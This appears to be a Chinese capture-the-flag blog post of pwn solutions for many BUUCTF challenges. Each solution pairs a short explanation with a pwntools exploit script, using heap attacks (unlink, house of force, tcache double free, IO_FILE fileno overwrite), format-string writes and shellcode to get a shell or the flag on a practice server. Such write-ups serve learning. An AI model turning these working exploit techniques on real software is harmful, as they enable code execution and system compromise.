BUUCTF【pwn】解题记录(4-6页持续更新中)


继续水题之旅…

oneshot_tjctf_2016

就是泄露got表之后,搞一个onegadget

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29723
    conn = remote(HOST ,PORT)
    pause()

    pos = 0x600AD8
    conn.recvuntil("Read location?")
    conn.sendline(str(pos))
    conn.recvuntil("Value: ")
    puts_leak = conn.recvuntil("\n",drop=True)
    puts_leak = int(puts_leak,16)
    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    onegadget = libc_base + 0xf1147
    conn.recvuntil("Jump location?")
    conn.sendline(str(onegadget))

    #pause()
    conn.interactive()

wustctf2020_easyfast

最最简单额fastbin attack,连hook都不用了,直接在功能4中有system函数,只需要修改一个qword_602090变成零。
在这里插入图片描述

通过观察这个全局变量上面有个0x50,正好可以作为fastbin attack检查得size
在这里插入图片描述

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create(size):
    conn.recvuntil("choice>")
    conn.sendline("1")
    conn.recvuntil("size>")
    conn.sendline(str(size))

def delete(index):
    conn.recvuntil("choice>")
    conn.sendline("2")
    conn.recvuntil("index>")
    conn.sendline(str(index))

def edit(index,content):
    conn.recvuntil("choice>")
    conn.sendline("3")
    conn.recvuntil("index>")
    conn.sendline(str(index))
    content = content.ljust(8,"\x00")
    conn.send(content)

def getshell():
    conn.recvuntil("choice>")
    conn.sendline("4")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27315
    conn = remote(HOST ,PORT)
    pause()

    key_pos = 0x602080
    create(0x40)
    delete(0)
    edit(0,p64(key_pos))
    create(0x40)
    create(0x40)
    edit(2,p64(0))
    getshell()

    conn.interactive()

护网杯_2018_gettingstart

这个题目本质上是考察了IEEE 754标准的double型存储格式,但是呢我们可以偷懒…自己编译一个c文件,然后调试一下copy出来就行了…其实这个玩儿法很多,还见过float shell,那个就很酸爽了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29307
    conn = remote(HOST ,PORT)
    pause()
    
    payload = "A"*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
    conn.sendline(payload)

    #pause()
    conn.interactive()

zctf2016_note2(不同类型比较导致无限堆,好题!!!)

这个题目是一个非常好的题目!整个过程中分析了题目好多遍,都没有找到传统的泄露或者是溢出漏洞,最后看wp发现,涉及到一个无限堆的概念,我们先看一下真正漏洞的位置如图
在这里插入图片描述

首先我们看到,申请堆比较类型是unsigned int,这保证了申请堆大小不超过0x80,其中函数input_int调用了下面出现的input函数,真正的问题就在这个input函数里面
在这里插入图片描述

当我们申请堆块大小为0的时候,系统会申请一个0x20大小的堆
在这里插入图片描述
然后在输入的时候无限制输入,这就是堆溢出的溢出点!然后可以看到free函数会清空table,并且计数器不会减少,我们最多就申请4哥堆

而且还需要注意,edit函数是通过strncat和strcpy函数复制内容的,在编辑的时候需要注意截断问题。具体思路就是用unlink进行攻击,构造fake chunk即可,具体看代码很明显的

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create(size,content):
    conn.recvuntil("option--->>")
    conn.sendline("1")
    conn.recvuntil("Input the length of the note content:(less than 128)")
    conn.sendline(str(size))
    conn.recvuntil("Input the note content:")
    conn.sendline(content)

def show(index):
    conn.recvuntil("option--->>")
    conn.sendline("2")
    conn.recvuntil("Input the id of the note:")
    conn.sendline(str(index))

def edit(index,mode,content):
    conn.recvuntil("option--->>")
    conn.sendline("3")
    conn.recvuntil("Input the id of the note:")
    conn.sendline(str(index))
    conn.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]")
    conn.sendline(str(mode))
    conn.recvuntil("TheNewContents:")
    conn.sendline(content)

def delete(index):
    conn.recvuntil("option--->>")
    conn.sendline("4")
    conn.recvuntil("Input the id of the note:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27680
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so','./note2'], env = {'LD_PRELOAD' : '/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'})
    #conn = process("./note2")
    #pwnlib.gdb.attach(conn,"b *0x0400BE8\nb *0x400CB3") #0x400F70
    #pwnlib.gdb.attach(conn,"b *0x400F70")
    pause()

    heap_list = 0x602120
    name = "Assassin"
    address = "Assasin's home"
    puts_got = 0x602028

    conn.recvuntil("Input your name:")
    conn.sendline(name)
    conn.recvuntil("Input your address:")
    conn.sendline(address)

    create(0x10,"0")        #0 , 为后面申请malloc(0)预留空间
    create(0x80,"1")        #1 , unlink 用于free的堆
    create(0x80,"2")        #2 , 构造fake chunk的位置
    delete(0)
    #下面需要注意unlink攻击向下合并的限制要求
    payload = ""
    payload += p64(0)*2
    payload += (p64(0) + p64(0xa1) + p64(0)*18)     #chunk1
    payload += (p64(0) + p64(0x31) + p64(heap_list-0x8) + p64(heap_list) + p64(0)*2)      #chunk2  fake chunk!
    payload += (p64(0x30) + p64(0x20) + p64(0)*2)   #chunk3  
    payload += (p64(0) + p64(0x21) + p64(0)*2)   #chunk4
    ''''''
    create(0,payload)       #3 , malloc(0)
    delete(1)

    payload = "a"*8 + p64(puts_got)
    edit(2,1,payload)
    show(0)
    conn.recvuntil("Content is ")
    puts_leak = conn.recvuntil("\n",drop=True)
    puts_leak = u64(puts_leak.ljust(8,"\x00"))
    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    print "The libc base is",hex(libc_base)
    __free_hook = libc_base + libc.dump("__free_hook")
    onegadget = libc_base + 0xf02a4 # 0x4526a   # 0xf02a4 0xf1147

    payload = "A"*0x18 + p64(__free_hook)   #就是正常的劫持_free_hook然后实现onegadget
    edit(2,1,payload)
    edit(2,1,p64(onegadget))

    #pause()
    conn.interactive()

gyctf_2020_force(house of force)

可以看到题目只有两个功能,一个是add函数,可以malloc各种堆,另一个是puts函数,基本上没有用处。这个题目就不像是传统的堆的题目,需要malloc和free配合达成利用,而且我们注意到两个条件

  • 第一,申请堆的大小没有做限制,一般题目中都会限制输入大小的,但这里没有
  • 第二,有一个明显的堆溢出,不过申请堆多大都能写入0x50的内容,这样我们就可以控制top chunk的size了
  • 第三,我们在篡改top chunk之前申请一个很大的堆,系统会调用mmap函数,申请位置会在libc附近,可以得到libc地址
  • 第四,程序会泄露heap地址,这就为我们的top chunk申请到什么位置(我选择的是_malloc_hook)

这下就很容易了…按照步骤来就行了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add(size,content):
    conn.recvuntil("2:puts")
    conn.sendline("1")
    conn.recvuntil("size")
    conn.sendline(str(size))
    conn.recvuntil("bin addr ")
    leak = conn.recvuntil("\n",drop=True)
    leak = int(leak,16)
    conn.recvuntil("content")
    conn.sendline(content)
    return leak

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28003
    conn = remote(HOST ,PORT)
    pause()
    libc = ELF("libc-2.23-amd64-buuctf.so")
    
    '''第一步:通过申请很大的chunk,使程序调用mmap泄露libc附近地址'''
    leak = add(0x200000,"test")
    libc_base = leak + 0x200ff0
    print "The libc base is",hex(libc_base)
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']  
    __realloc_hook = __malloc_hook - 0x8
    system = libc_base + libc.symbols['system']  
    puts = libc_base + libc.symbols['puts']  
    print "The __malloc_hook is",hex(__malloc_hook)
    print "The system is",hex(system)

    '''第二步:house of force,篡改top chunk的size'''
    payload = "\x00"*0x18 + p64(0xffffffffffffffff)
    heap_leak = add(0x18,payload)

    '''第三步:计算当前chunk到malloc hook位置需要申请一个多大的chunk'''
    distance = __malloc_hook - 0x40 - heap_leak
    add(distance,payload)

    '''第四步:篡改malloc hook'''
    payload = "/bin/sh".ljust(0x10,"\x00") + p64(system) + p64(__malloc_hook-0x10)
    add(0x20,payload)

    conn.recvuntil("2:puts")
    conn.sendline("1")
    conn.recvuntil("size")
    conn.sendline(str(__malloc_hook - 0x10))    #这个输入的位置是存放/bin/sh字符串的位置,因为输入大小没有要求,因此可以将size指向字符串地址

    #pause()
    conn.interactive()

wustctf2020_number_game

这个涉及到计算机补码存储的知识,本质上是因为int型存储的范围是-231-231-1,也就是-2147483648~2147483647
然后肯定是边界的问题,所以直接试一试就知道了
(水题水的也太开心了把…)

ciscn_2019_final_2(IO_FILE Exploitation + tcache double free)

这个题目,很久违地遇见了IO_FILE Exploitation的问题,通过这个题目学习感受到了光知道各种hook可不行,下面详细分析一下这个题目
题目分析
首先分析一下题目的情况,我们需要知道的首要条件,BUUCTF的ubuntu18的环境是2.27-3ubuntu1_amd64,这个版本的libc是存在tcache double free漏洞的
然后看程序功能,需要发现init函数中打开了flag文件,并且将文件指针指向了666
在这里插入图片描述
Sandbox_Loading发现程序通过prctl函数,把syscall函数都禁用了,用工具seccomp-tools一看便知,这就打消了我们getshell的想法…
在这里插入图片描述
allocate函数分为两个模式,第一种是可以申请0x30大小的堆,然后再第一个和第二个块写入%d的数字,也就是四字节;第二种是申请0x20大小的堆,再第一个和第二个块写入2字节。还需要注意一个全局变量bool,只要任意一个模式申请了,就会赋值为1.

然后看delete函数,注意两点:一是free后没有清除堆地址,存在UAF漏洞,二是free的限制条件为bool==True,通过交替申请、释放堆可以造成tcache double free
在这里插入图片描述
show函数,就是打印内容,打印的大小与模式相同。bye_bye函数猛一看就是输入一个字符串,然后打印字符串,之后exit退出。
在这里插入图片描述

解题思路
通过上述的构造条件,我们大致规划一下解题步骤思路:

  • 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
  • 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
  • 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin__fileno(即stdin的文件描述符)位置
  • 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
  • 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
  • 第六步:运行bye_bye函数触发漏洞

过程挺复杂的,而且有很多细节,别着急,我们从过程中慢慢看~首先放一份完整的代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')

def add_note(type,number):
    conn.recvuntil(">")
    conn.sendline("1")
    conn.recvuntil(">")
    conn.sendline(str(type))
    conn.recvuntil("your inode number:")
    conn.sendline(str(number))

def remove_note(type):
    conn.recvuntil(">")
    conn.sendline("2")
    conn.recvuntil(">")
    conn.sendline(str(type))

def show_note(type):
    conn.recvuntil(">")
    conn.sendline("3")
    conn.recvuntil(">")
    conn.sendline(str(type))

def scanf_and_exit():
    conn.recvuntil(">")
    conn.sendline("4")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29971
    conn = remote(HOST ,PORT)
    pause()
    #libc = ELF("/home/assassin/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
    libc = ELF("/home/assassin/tools/python_packages/LibcSearcher/libc-database/other_libc_DIY/libc-2.27-amd64-buuctf.so")
    _IO_2_1_stdin_ = libc.symbols["_IO_2_1_stdin_"] 

    # 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
    add_note(1,1)
    add_note(2,2)
    add_note(2,3)
    remove_note(1)
    add_note(2,4)
    remove_note(2)
    add_note(1,1)
    remove_note(2)      #0x20 tcache double free
    show_note(2)

    #泄露堆地址的低2位,这里足够我们篡改tcache指向的堆地址了
    conn.recvuntil("your short type inode number :")
    heap_leak = int(conn.recvuntil("\n",drop=True))
    heap_leak = (heap_leak + 0x10000) % 0x10000
    print hex(heap_leak)

    first_head_addr = heap_leak - 0x80
    add_note(2,first_head_addr)
    add_note(2,first_head_addr)
    add_note(2,0x91)          #篡改第一个0x30堆块的size为0x30 + 3*0x20 = 0x90

    # 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
    for x in range(8):
        remove_note(1)
        if x != 7:
            add_note(2,0)

    # 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
    show_note(1)
    conn.recvuntil("your int type inode number :")
    libc_leak = int(conn.recvuntil("\n",drop=True))
    libc_leak = (libc_leak + 0x100000000) % 0x100000000
    print "The libc leak is",hex(libc_leak)

    __malloc_hook = libc.symbols["__malloc_hook"] % 0x100000000
    libc_base = libc_leak - 96 - 0x10 - __malloc_hook
    print "The libc base is",hex(libc_base)
    _IO_2_1_stdin__fileno = (libc_base + _IO_2_1_stdin_ + 0x70) % 0x100000000
    print "The _IO_2_1_stdin_ _fileno is",hex(_IO_2_1_stdin__fileno)

    # 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
    # 第五步:同步完成了,构造0x30大小堆块的tcache double free
    add_note(1,1)
    remove_note(1)
    add_note(2,1)
    remove_note(1)  #顺便构造了0x30大小堆块的double free
    add_note(2,(_IO_2_1_stdin__fileno % 0x10000))

    # 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
    # 这里我们必须先泄露堆地址低4位,才能利用double free篡改tcache指向地址
    show_note(1)
    conn.recvuntil("your int type inode number :")
    heap_leak = int(conn.recvuntil("\n",drop=True))
    heap_leak = (heap_leak + 0x100000000) % 0x100000000
    print hex(heap_leak

    target = heap_leak + 0x50
    add_note(1,target)
    add_note(1,target)
    add_note(1,666)
    add_note(1,666)     #至此,成功篡改stdin 的文件描述符为666
    
    # 第六步:运行bye_bye函数触发漏洞
    scanf_and_exit()
    conn.recvuntil("what do you want to say at last? ")
    conn.sendline("f")

    #pause()
    conn.interactive()

代码步骤拆解

  • 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
    此时已经成功完成了0x20的double free,并且堆的布局如下
    在这里插入图片描述
    在这里插入图片描述
    然后通过利用double free,让0x20的链条,指向0x30的堆头位置

在这里插入图片描述

  • 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
    在这里插入图片描述
    在这里插入图片描述

  • 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
    就是通过show函数去泄露就行

  • 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
    第四步和第五步有合并的部分(因为free和malloc需要交替进行,偶和了),这里主要看第四步内容,通过前面已知的libc低2位地址,我们可以计算出修改低2位使得unsorted bin被切割的剩余部分,原本指向main_arena的指针指向_IO_2_1_stdin_中的_fileno
    先看一下存放的两个堆地址
    在这里插入图片描述
    在这里插入图片描述
    (中间搞错了换了个图啊,地址可能和前面不太一样)
    值得一提的是,_IO_2_1_stdin_的地址和__malloc_hookmain_arena都是相邻的,所以修改低2位就足够了

  • 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
    就是double free的利用,注意中间还需要泄露一次堆地址,因为0x30的利用需要知道低4位地址,前面一次泄露只是知道低2位,不够用。
    在这里插入图片描述

  • 第六步:运行bye_bye函数触发漏洞

最终结果
在这里插入图片描述

starctf_2019_babyshell

观察题目结构,发现输入的shellcode都必须是unk_400978的内容,一开始我还傻傻的以为要自己去构造,怎么想怎么感觉不对劲,然后反过味儿来再看比较函数,发现其实不用…
在这里插入图片描述

如果我们让第一个位是\x00就可以绕过检查,但是为了保证shellcode可以正常运行,需要构造正常的指令,我们去这里查一下 http://ref.x86asm.net/coder64.html
在这里插入图片描述
在这里插入图片描述

看到\x00开头可以是ADD指令,只要按照规则构造就行了,例如构造add al,al,就是\x00\xc0

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29865
    conn = remote(HOST ,PORT)
    pause()
    shellcode = "\x00\xc0"
    shellcode += asm(shellcraft.sh())
    conn.recvuntil("give me shellcode, plz:")
    conn.sendline(shellcode)
    conn.interactive()

actf_2019_babyheap

最简单的UAF,水中水

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create_heap(size,content):
    conn.recvuntil("Your choice:")
    conn.sendline("1")
    conn.recvuntil("Please input size:")
    conn.sendline(str(size))
    conn.recvuntil("Please input content:")
    content = content.ljust(size,"\x00")
    conn.send(content)

def delete_heap(index):
    conn.recvuntil("Your choice:")
    conn.sendline("2")
    conn.recvuntil("Please input list index:")
    conn.sendline(str(index))

def show_heap(index):
    conn.recvuntil("Your choice:")
    conn.sendline("3")
    conn.recvuntil("Please input list index:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26573
    conn = remote(HOST ,PORT)
    
    bin_sh = 0x602010
    system_plt = 0x4007A0

    create_heap(0x40,"1")
    create_heap(0x40,"2")
    delete_heap(0)
    delete_heap(1)
    payload = p64(bin_sh) + p64(system_plt)
    create_heap(0x10,payload)
    show_heap(0)

    #pause()
    conn.interactive()

ciscn_2019_en_3

吼吼,鄙人已经轻车熟路了…这个题目又是一个混合题目,首先在输入名字的时候有一个fmt漏洞
在这里插入图片描述

_printf_chk有一点不太一样,该函数与printf的区别在于:不能使用 %x n 不连续地打印,也就是说如果要使用 n 不连续地打印,也就是说如果要使用 %3 n不连续地打印,也就是说如果要使用n,则必须同时使用 %1 n 和 n 和 %2 nn。

不过没有关系,其实观察一下栈空间有什么和libc相关的就行了,其实不是很影响。
然后这个题目就是典型的tcache double free的题目,具体就不分析了,free后也没有清零,就正常构造覆盖__free_hook就行了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create_heap(size,content):
    conn.recvuntil("Input your choice:")
    conn.sendline("1")
    conn.recvuntil("Please input the size of story:")
    conn.sendline(str(size))
    conn.recvuntil("please inpute the story:")
    conn.sendline(content)

def delete_heap(index):
    conn.recvuntil("Input your choice:")
    conn.sendline("4")
    conn.recvuntil("Please input the index:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26783
    conn = remote(HOST ,PORT)
    pause()
    
    '''第一步:通过fmt漏洞泄露libc地址'''
    fmt_leak = "%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
    conn.recvuntil("What's your name?")
    conn.send(fmt_leak)
    conn.recv()
    leak = conn.recvuntil("Please input your ID.\n",drop=True)
    leak = leak.split("0x")
    leak = int("0x" + leak[7],16)
    print "The leak is",hex(leak)
    libc = LibcSearcher("_IO_2_1_stderr_",leak)
    libc_base = leak - libc.dump("_IO_2_1_stderr_")
    print "The libc base is",hex(libc_base)
    __free_hook = libc_base + libc.dump("__free_hook")
    system = libc_base + libc.dump("system")
    conn.sendline("")

    '''第二步:通过tcache double free漏洞,覆盖__free_hook'''
    create_heap(0x20,"/bin/sh\x00")
    create_heap(0x20,"1")
    delete_heap(1)
    delete_heap(1)
    create_heap(0x20,p64(__free_hook))
    create_heap(0x20,p64(system))
    create_heap(0x20,p64(system))
    delete_heap(0)

    conn.interactive()

wustctf2020_name_your_dog

前几个题目这么卷,这几个题这么水…
就是简单的整型溢出,修改got表,把scanf覆盖成带着的shell函数就行

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28545
    conn = remote(HOST ,PORT)
    pause()
    
    getshell = 0x080485CB
    conn.recvuntil("Name for which?\n>")
    conn.sendline("-7")
    conn.recvuntil("Give your name plz: ")
    conn.sendline(p64(getshell)[0:6])

    conn.interactive()

picoctf_2018_are you root

其实是水题,但是libc版本不一样可能会不同,就是利用了login函数中strdup函数可能将输入的字符串溢出地写入地址(虽然实际上用不到溢出),并且free掉的是存储字符串的堆块,申请确却是2个堆块,所以可以提前部署存放字符串的堆,让指定的位置位p64(0x5)就行了

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def login(content):
    conn.recvuntil(">")
    payload = "login " + content
    conn.sendline(payload)

def set_auth(level):
    conn.recvuntil(">")
    payload = "set-auth " + str(level)
    conn.sendline(payload)

def reset():
    conn.recvuntil(">")
    conn.sendline("reset")

def show():
    conn.recvuntil(">")
    conn.sendline("show")

def get_flag():
    conn.recvuntil(">")
    conn.sendline("get-flag")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28571
    conn = remote(HOST ,PORT)
    pause()
    login("testtest\x05")
    reset()
    login("hack")
    get_flag()

    #pause()
    conn.interactive()

xman_2019_format

说实话我一开始觉得是水题,就不想好好看了,其实还是又一些可以总结的地方,下面还是讲一讲
首先又见到这个strtok
在这里插入图片描述

strtok这个函数的作用就是将s字符串,按照|字符进行切割,切割成为多个字符串。下面的while循环中,为什么第一个参数是0?这是函数的定义,如果是0或者NULL,代表继续获取上一个截断字符串的其他的子字符串这就给格式化字符串利用提供了方便!
fmt传统的利用就是利用ebp的链条,进行篡改写入,这里也不例外,并且在程序中藏了一个后门
在这里插入图片描述

我们就正常劫持就行了,但是因为我们不知道栈空间地址,所以只能通过改好一种地址,然后进行爆破,修改的字符串在256情况之间,所以爆破也是可行的
在这里插入图片描述

爆破爆破,以后肯定也用得到

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def pwn():
    backdoor = 0x080485AB
    payload = "%"+str(0xac)+"c" + "%10$hhn" + "|"
    payload += "%"+str(backdoor%0x10000)+"c" + "%18$hn" + "|"
    conn.sendline(payload)	

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27546
    conn = remote(HOST ,PORT)
    pause()

    for x in range(30):
    	try:
    		pwn()
    	except Exception as e:
    		continue

    conn.interactive()

picoctf_2018_buffer overflow 0

这个题目本身没有什么难度,我们需要注意到两个点,一是signal,程序功能是如果调用了0xB的execve函数,那么就会调用函数sigsegv_handler,我们仔细看就是打印flag
在这里插入图片描述

然后是我们的输入在某个函数造成栈溢出,溢出点在argc,我们的思路很简单,只要用alphanumberic shellcode保证可以执行strcpy

CTFMan@out:~$ ./vuln 
This program takes 1 argument.
CTFMan@out:~$ ./vuln  AAAAAAAAAAAAAAAAAAAAAAAAPYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx

judgement_mna_2016(格式化字符串还需要熟练呀!)

此时我只觉得羞愧,一直说格式化字符串简单简单的,但是就是没想起来$s的用法,一直想着怎么泄露,实际上flag地址是固定的(因为没有开启地址随机化),直接泄露就好了…做堆都做傻了…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def pwn_test(payload):
    conn.recvuntil("Flag judgment system\nInput flag >>")
    conn.sendline(payload)
    conn.interactive()

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28708
    conn = remote(HOST ,PORT)
    
    pause()
    flag = 0x804A0A0
    payload = "%57$s" 
    payload = payload.ljust(0x38,"\x00") 
    payload += p32(flag)
    pwn_test(payload)

bjdctf_2020_YDSneedGrirlfriend

就是非常简单的UAF,可以说非常无脑了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add(size,content):
    conn.recvuntil("Your choice :")
    conn.sendline("1")
    conn.recvuntil("Her name size is :")
    conn.sendline(str(size))
    conn.recvuntil("Her name is :")
    conn.sendline(content)

def delete(idx):
    conn.recvuntil("Your choice :")
    conn.sendline("2")
    conn.recvuntil("Index :")
    conn.sendline(str(idx))

def show(idx):
    conn.recvuntil("Your choice :")
    conn.sendline("3")
    conn.recvuntil("Index :")
    conn.sendline(str(idx))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27777
    conn = remote(HOST ,PORT)
    pause()
    
    backdoor = 0x400B9C
    add(0x30,"0")
    add(0x30,"1")
    delete(0)
    delete(1)
    add(0x10,p64(backdoor)*2)
    show(0)
    conn.interactive()

    #pause()

gyctf_2020_signin(calloc和tcache特性,通过tcache链更新篡改目标地址内容,好题!!!)

这个题目真的是又让我长见识了!
题目分析
首先需要注意一些细节:

  • 第一,主函数在menu函数中,除了add、del和edit功能以外,还有一个backdoor后门,但是结构非常奇怪,有一个calloc函数,并且需要全局变量ptr不为空。
    在这里插入图片描述

  • 第二,需要注意各个功能之中的限制,包括:①add函数中,addcnt初始化为9,就是说最多申请10次堆;②edit函数中,因为cnt初始化为0,并且没有其他修改地方,所以这个edit函数只能触发一次!(这一点很关键,也是为什么我们不能直接用tcache poisioning方法的原因);③del函数存在UAF,但是因为flag是没有办法double free的,具体的看编译代码去吧~

解题思路
首先我们必须否定简单的tcache poisioning方法另辟蹊径。其次我们需要注意到,backdoor函数中为什么要calloc(0x70),这个和我们的add函数中固定的malloc(0x70)有什么联系?
这里就必须提到calloc和tcache的特性了!!!看下面!!!

  • **calloc特性:**不会分配 tcache chunk 中的 chunk 。
  • tcache特性:在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。

我们利用的思路大概是修改全局变量ptr,让backdoor函数可以正常执行。我们按照如下步骤构造:
第一步:申请并释放8个堆块

[add(x) for x in range(8)]
[delete(x) for x in range(8)]

这一步不用多解释直接看结果

在这里插入图片描述

第二步:通过add函数申请2个块,为了tcache链空出位置,方便后续的链合并

在这里插入图片描述

第三步:通过edit修改fastbin中的fd
在这里插入图片描述

不好意思断了换了个图…
第四步:执行到backdoor函数的calloc之后会触发tcache和相同大小fastbin chunk的合并机制
在这里插入图片描述

然后就顺利getshell了,这个题目真是体现了堆的很多应用都在于细节呀!!!

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add(idx):
    conn.recvuntil("your choice?")
    conn.sendline("1")
    conn.recvuntil("idx?")
    conn.sendline(str(idx))

def delete(idx):
    conn.recvuntil("your choice?")
    conn.sendline("3")
    conn.recvuntil("idx?")
    conn.sendline(str(idx))

def edit(idx,payload):
    conn.recvuntil("your choice?")
    conn.sendline("2")
    conn.recvuntil("idx?")
    conn.sendline(str(idx))
    conn.sendline(str(payload))

def get_shell():
    conn.recvuntil("your choice?")
    conn.sendline("6")  

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28777
    conn = remote(HOST ,PORT)
    pause()
    '''第一步:申请并释放8个堆块'''
    prt = 0x4040B0
    [add(x) for x in range(8)]
    [delete(x) for x in range(8)]

    '''第二步:通过add函数申请2个块,为了tcache链空出位置,方便后续的链合并'''
    [add(x) for x in range(8,10)]

    '''第三步:通过edit修改fastbin中的fd'''
    edit(7,p64(prt))

    '''第四步:执行到backdoor函数的calloc之后会触发tcache和相同大小fastbin chunk的合并机制'''
    get_shell()

    conn.interactive()

ciscn_2019_sw_1(格式化字符串+fini.array数组篡改)

本来以为这个是一个格式化字符串的水题,但是一看其实隐藏了一个之前没有见过的知识点。首先分析题目,题目非常简单,就是简单的main函数,在程序最后又一个格式化字符串漏洞
在这里插入图片描述

然后注意到有一个_sys函数,调用了system,参数command没什么锤子用,因为参数是在.rodata段只读。
这个时候熟悉格式化字符串的人都会感觉非常棘手,在程序最后意味着常规方法很难奏效,这里就需要补充关于_fini_array

知识点1:当RELRO保护为NO RELRO的时候,init.arrayfini.arraygot.plt均可读可写;为PARTIAL RELRO的时候,ini.arrayfini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.arrayfini.arraygot.plt均可读不可写。
知识点2:程序在加载的时候,会依次调用init.array数组中的每一个函数指针,在结束的时候,依次调用fini.array中的每一个函数指针
而我们检查程序权限的时候发现,确实是符合NO RELRO情境下的。(说实话其实很多时候,玩儿堆和栈多了都不看checksec了)
在这里插入图片描述


解题思路:首先将fini.array覆盖为main函数地址,同时将printf_got覆盖为system_plt地址,然后进入第二次main的时候直接输入/bin/sh\x00,就可以执行shell了
